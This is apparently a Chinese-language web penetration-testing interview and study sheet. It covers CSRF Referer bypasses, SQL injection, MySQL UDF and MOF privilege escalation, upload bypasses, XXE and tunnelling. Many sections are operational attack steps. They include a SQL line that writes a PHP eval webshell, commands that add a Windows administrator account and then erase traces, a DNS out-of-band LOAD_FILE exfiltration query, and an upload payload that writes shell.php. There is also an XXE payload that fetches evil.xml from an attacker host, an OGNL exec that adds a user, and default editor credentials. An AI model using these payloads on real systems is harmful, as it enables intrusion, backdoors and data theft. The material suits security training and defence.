Web 类型

1. 一句话概括 csrf
   a) 诱导用户从 B 网站点击链接向 A 网站发起请求
2. 防御 csrf
   a) 验证 HTTP Referer 字段
   b) 在请求地址中添加 token 并验证
   c) 在 HTTP 头中自定义属性并验证，通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中
   d) 尽量使用 POST，限制 GET；加验证码
3. CSRF 绕过 Referer 技巧
   a) referer 条件为空条件时
      i. 利用 ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是 file:// 开头的，如果这个 HTML 页面向任何 http 站点提交请求的话，这些请求的 Referer 都是空的。(利用 https 协议 https 向 http 跳转的时候 Referer 为空)
   b) 判断 Referer 是某域情况下绕过
      i. 利用二级域名。比如你找的 csrf 是 http://xxx.com 验证的 referer 是验证的 *.http://xx.com 可以找个二级域名 之后<img "csrf 地址"> 之后在把文章地址发出去 就可以伪造。
   c) 判断 referer 是否存在某关键字
      i. referer 判断存在不存在 http://google.com 这个关键词。在网站新建一个 http://google.com 目录 把 CSRF 存放在 http://google.com 目录,即可绕过
   d) 判断 referer 是否含有某域名
      i. 判断了 Referer 开头是否以 http://126.com 以及 126 子域名 不验证根域名为 http://126.com 那么我这里可以构造子域名 http://x.126.com.xxx.com 作为蠕虫传播的载体服务器，即可绕过。
4. 一句话概括 xss 与 csrf 区别
   a) XSS 是将恶意的代码插入到 html 页面中，当用户浏览页面时，插入的 html 代码会被执行，从而达到最终目的；冒充用户发起请求（在用户不知情的情况下），完成一些违背用户意愿的请求（利用的是网站服务器端所有参数都是可预先构造的原理，然后黑客拼接好具体请求 url，可以引诱你提交他构造好的请求。）
   b) 一般 csrf 会由 xss 实现。
5. xss 不做过滤可以如何防御
   a) 利用 httponly 禁止 cookie 读取
   b) xss 实体编码，转义。
6. sql 注入后如何渗透
   a) select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 知道网站真实路径后写入文件
   b) 数据库提权
      http://www.langzi.fun/Mysql%E6%8F%90%E6%9D%83%E5%9F%BA%E7%A1%80.html
      i. UDF
         https://blog.csdn.net/qq_26090065/article/details/81515355

将 udf 文件上传到指定位置

sqlmap\udf\mysql\windows\32 目录下存放着 lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64 目录下为 64 位的 lib_mysqludf_sys.dll_

可以利用 sqlmap 自带的解码工具 cloak.py，进入到 sqlmap\extra\cloak\cloak 目录下，执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap 中的 udf 文件提供的函数:

sys_eval，执行任意命令，并将输出返回。
sys_exec，执行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量。

利用各种办法上传到网站指定目录下

MySQL<5.0，导出路径随意。
5.0 <= MySQL<5.1，则需要导出至目标服务器的系统目录
MySQL 5.0.67 开始，UDF 库必须包含在 plugin 文件夹中，可以使用'@@plugin_dir'全局变量找到它

需要手工建立 lib 或者 plugin

```
select @@basedir;  //查找到 mysql 的目录

select 'lt is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';  //利用 NTFS ADS 创建 lib 目录

select 'lt is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';  //利用 NTFS ADS 创建 plugin 目录
```

从 udf 文件中引入自定义函数

```
create function sys_eval returns string soname 'udf.dll';  //sys_eval 是函数名称，udf.dll 是 lib_mysqludf_sys.dll_上传后的文件名
```

执行自定义函数

```
//新建账号 waitalone，密码为 waitalone.cn
select cmdshell('net user waitalone waitalone.cn /add');
//将 waitalone 加入管理员组
select cmdshell('net localgroup administrators waitalone /add');
```

清除痕迹

```
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数
```

ii. MOF

前提条件是必须具备 mysql 的 root 权限。mof 是 windows 系统的一个文件（在 c:/windows/system32/wbem/mof/nullevt.mof）叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了 mysql 的 root 权限了以后，然后使用 root 权限去执行我们上传的 mof。隔了一定时间以后这

个 mof 就会被执行，这个 mof 当中有一段是 vbs 脚本，这个 vbs 大多数的是 cmd 的添加管理员用户的命令。

将生成的 mof 导入到 c:\windows\system32\wbem\mof\目录下在 windows7 中默认是拒绝访问的。导入后系统会自动运行，执行命令。

select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

防范方法

Mysql Root 权限 MOF 方法提权其前提条件是能够将上传的 nullevt.mof 复制到系统目录下，例如 c:\windows\system32\wbem\mof 中，如果无法复制则会提权失败。一般对 Windows2003 以下操作系统效果较好，Windows2008 以上由于保护机制，较少能够成功。因此可以采取以下措施进行防范：

1.在程序数据库连接文件中尽量不要使用 Root 帐号进行连接。

2.Root 帐号使用强加密方式，采用字母大小写+数字+特殊字符，密码位数 15 位以上。

3.对 Mysql 数据库的 mysql 数据库目录权限严格限制，IIS 用户无法读写该文件。

7. sql 注入类型有哪些

https://cloud.tencent.com/developer/article/1180455

a) 按照参数类型分成数字型和字符型
b) 根据数据库返回结果分为回显注入、报错注入、盲注
   i. 回显注入
      1. Order by 判断列数
      2. Union select 查询数据
   ii. 报错注入
      1. Extractvalue 函数
      2. Concat 函数
      3. rand+count 函数，与 union 结合，与 AND/OR/||/&& 结合都可以，十分灵活。
   iii. 盲注
      1. 布尔盲注
      2. 延迟型盲注
   iv. 二次注入
      1. 通常网站开发者可能会十分注意与用户发生交互的地方，自然这些地方就很少会有 SQL 注入漏洞了。而开发者对从数据库查询出来的信息可能十分信任，而这就是攻击者的机会所在——即便从数据库查询出来的数据也不是可靠的。

8. mysql 怎么读写数据

a) **读文件**前提为用户权限足够高，尽量具有 root 权限（当前数据库用户有 FILE 权限）。secure_file_priv 的值为空，如果值为某目录，那么就只能对该目录的文件进行操作
   i. 在 mysql 5.6.34 版本以后 secure_file_priv 的值默认为 NULL（**SHOW VARIABLES LIKE "secure_file_priv"**）
   ii. **load_file()** 新建一个表，读取文件为字符串形式插入表中，然后读出表中数据

create table user(cmd text);
insert into user(cmd) values (load_file('/tmp/1.txt'));
select * from user;

iii. **load data infile** 其实 load data infile 和 load_file()用法上没有什么区别,只是在注入过程中，往往会过滤掉 load_file()这个函数，但是仍然有 load data infile 可以使用。
load data infile '/tmp/1.txt' into table user;

iv. **system cat** 在 mysql 版本为 5.x 时,除了可以使用上两种方法外，还可以使用系统命令直接读取文件
此方法只能在本地读取，远程连接 mysql 时无法使用 system。
无法越权读取。

b) 写文件

i. outfile 写完文件后会在文件后加一个\n 换行符，而 dumpfile 不会
ii. select * into outfile '/tmp/x.sql' from user;
iii. select 'xxxx' into dumpfile '/var/lib/mysql-files/2.php';

c) mysql OOB(out-of-band)

i. 我们使用 load_file()语句将数据信息导出到外部服务器上，例如 DNS 解析器，但 mysql 尝试解析 DNF 时，我们就可以在 DNS 解析式上获取到查询数据信息。接口 http://ceye.io/records/dns
ii. SELECT
LOAD_FILE(CONCAT('\\\\',version(),'.mysql.ip.port.8cs2vs.ceye.io\\abc'));

9. 常见 Web 服务器解析漏洞

a) IIS 5.x/6.0 解析漏洞

i. 目录解析
/xx.asp/xx.jpg
ii. 文件解析
/xx.asp;.jpg
IIS6.0 不会把上面的文件当做 jpg 格式文件处理，而是当成了 asp 文件

b) IIS7.0/IIS7.5/Nginx<8.03 解析漏洞
在默认 Fast-CGI 开启状况下,上传一个名字为 xx.jpg，内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件，然后访问 xx.jpg/.php,在这个目录下就会生成一句话木马 shell.php

c) Nginx < 8.03 空字节代码执行漏洞
Ngnix 在图片中其纳入 PHP 代码然后通过访问:
xx.jpg%00.php
来执行其中的代码

d) Apache 解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 xx.php.owf.rar ".owf"和".rar" 这两种后缀是 apache 不可识别解析,apache 就会把 xx.php.owf.rar 解析成 xx.php

10. 常见商用 CMS

a) 帝国 CMS

i. V7.5 后台任意代码执行
漏洞代码发生在后台数据备份处代码/e/admin/ebak/ChangeTable.php 44 行

附近，通过审计发现执行备份时，对表名的处理程序是 value="" 通过 php 短标签形式直接赋值给 tablename[]。

ii. V7.5 后台 Getshell

代码位置：e\admin\ecmscom.php

导致用户可通过更改文件名并写入 php 执行代码创建自定义含恶意代码的文件名页面从而导致 getshell。

b) 织梦 CMS

i. A

ii.

11. 常见的文件上传绕过方法

a) 客户端校验

b) 服务端校验

i. Content-type 字段校验

ii. 文件头部校验

iii. 黑名单后缀

扩展名：

Jsp jspx jspf

Asp asa scer aspx

Php php3 php4 php5

Exe exee

iv. 配合文件包含漏洞

v. 配合服务器解析漏洞

vi. 配合操作系统文件命令规则

上传不符合 windows 文件命名规则的文件名

test.asp.

test.asp(空格)

test.php:1.jpg

test.php::$DATA

shell.php::$DATA……

会被 windows 系统自动去掉不符合规则符号后面的内容。

linux 下后缀名大小写

在 linux 下，如果上传 php 不被解析，可以试试上传 pHp 后缀的文件名。

12. 重置密码方面漏洞

a) https://wooyun.js.org/drops/%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93.html

b) 用户凭证暴力破解（验证码无校验次数上限）

c) 返回凭证（请求 response 返回凭证信息）

d) 邮箱弱 token（基于时间戳的 md5）

e) 重新绑定

f) 注册覆盖

g) session 覆盖

13. 常见的编辑器以及对应的漏洞

https://navisec.it/%e7%bc%96%e8%be%91%e5%99%a8%e6%bc%8f%e6%b4%9e%e6%89%8b%e5%86%8c/

a) Ewebeditor
   i. 默认后台 ewebeditor/admin_login.asp
   ii. 默认数据库：ewebeditor/db/ewebeditor.mdb（.asp .asa）
   iii. 默认账号密码：admin admin/admin888
   iv. 图片上传添加后缀.asa/.cer/.cdx，过滤 asp。可上传.aaspsp/.asasaa
   v. 2.8.0/2.8.0 存在上传文件管理存在目录遍历。http://192.168.87.129:8123/admin_uploadfile.asp?id=14&dir=../
b) FCKeditor
   https://www.lnmpweb.cn/archives/1318
   i. 查看版本 FCKeditor/_whatsnew.html
   ii. 可上传地址
      1. FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
      2. FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
      3. FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
      4. FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
      5. FCKeditor/editor/filemanager/connectors/test.html
      6. FCKeditor/editor/filemanager/connectors/uploadtest.html
      7. FCKeditor/editor/filemanager/upload/test.html
      8. FCKeditor/editor/filemanager/browser/default/connectors/test.html
   iii. 创建新的文件夹
      1. /editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo.asp&NewFolderName=x.asp
c) UEditor
d) DotNetTextBox
e) Ckeditor
f) Kindeditor

14. Xxe 的原理
   a) XXE 漏洞，是利用了 XML 外部实体可以解析外部文件的特性，才使得攻击成为可能。
   b) XXE（XML External Entity Injection）XML 外部实体注入攻击。
   c) XML 可以从外部读取 DTD 文件，如果将路径换成另一个文件的路径那么服务器在解析这个 XML 的时候就会把那个文件的内容赋值给 SYSTEM 前面的根元素中，只要我们在 XML 中让前面的根元素的内容显示出来，不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。
   d) 如果我们指向的是一个内网主机的端口，就造成了一个内部端口被探测的问题
   e) 一般来说，服务器解析 XML 有两种方式，一种是一次性将整个 XML 加载进内存中，进行解析；另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用 XML 定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，造成了拒绝服务攻击
15. 如果 xxe 没有回显，如何判断命令执行成功

a) 进行参数实体注入

```
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml"> %dtd; %send;
]>
```

i. 定义参数实体 file SYSTEM 表示参数实体引用外部实体内容，内容为 php 伪协议内容。定义参数实体 dtd 为 http://192.168.61.130/evil.xml，然后执行%dtd 和%send 代码

ii. 最终拿到 content 参数内容为 base64 编码的 dologin 代码

b) 使用工具 XXEinjector 带外攻击

i. https://github.com/enjoiz/XXEinjector

16. 没有回显，怎么样判断命令执行成功了
https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

a) 让目标主机执行 wget、nc、curl 等，主机监听对应端口，通过日志判断

b) DNS Log。生成特殊域名，让主机 ping 域名，登录 dns 服务后台查看 dns 查询记录

c) 延时检测。与时间盲注类似，利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时 5 秒；Windows 可以通过 `ping localhost -n 5` 来实现延时 5 秒。
该方法对异步命令执行类漏洞无效。

d) 生成特殊域名，让主机 ping 域名，登录 dns 服务后台查看 dns 查询记录

e) 将命令输出写入到公共 web 目录（/var/www/）

f) 将文件写入到可下载的 FTP 目录

17. 敏感文件泄漏以及利用发誓

a) .git。可用 githack 下载源码

b) .svn/entries。可用 svnhack 下载源码

c) .DS_Store。可用 ds_store_exp 在下。

d) .bak。备份文件，包含源码

e) WEB-INF。

i. Web.xml 泄漏。通过找到 web.xml 文件，推断 class 文件的路径，最后直接下载 class 文件，在通过反编译 class 文件，得到网站源码。

ii. /WEB-INF/database.propertie。数据库卑职文件

iii. /WEB-INF/lib/：存放 web 应用需要的各种 JAR 文件，放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件

iv. /WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非 servlet class，他们不能包含在 .jar 文件中

f) Php.info。信息泄漏

18. 渗透进内网后怎么样把流量代理出来

a) Nps

b) Proxychains+regeorg

c) proifiler +Regeorg

d) Sockscap64+regeorg

19. Regeorg 的工作原理

a) reGeorg 是 reDuh 的升级版，主要是把内网服务器的端口通过 http/https 隧道转发到本机，形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透，服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

20. 简述 struts2 漏洞
    a) 注入恶意 ognl 表达式，用\u0023 绕过#限制，执行命令使用静态调用 java.lang.Runtime.getRuntime().exec("net user selina 123 /add");
    b) 修补方案
        i. Struts2 默认后缀是 action 或者不写后缀，有的改过代码的可能其他后缀如 .htm 、 .do ，那么我们只要拦截这些请求进行过滤就行了
        ii. 更新 struts2 的 jar 包